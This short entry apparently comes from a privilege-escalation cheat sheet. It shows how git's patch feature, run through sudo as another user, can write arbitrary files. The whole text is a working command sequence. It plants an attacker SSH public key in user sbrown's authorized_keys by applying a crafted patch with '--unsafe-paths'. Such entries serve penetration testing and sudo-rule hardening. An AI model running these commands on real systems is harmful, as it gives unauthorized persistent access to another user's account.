Git
Patch
Write arbitary files
git init
echo 'PUB-KEY' > authorized_keys
ln -s authorized_keys /home/sbrown/.ssh/authorized_keys
git add .
git commit -m meow
git format-patch -1
rm authorized_keys
sudo -u sbrown /usr/bin/git apply --unsafe-paths --directory=/home/sbrown/.ssh/
Last updated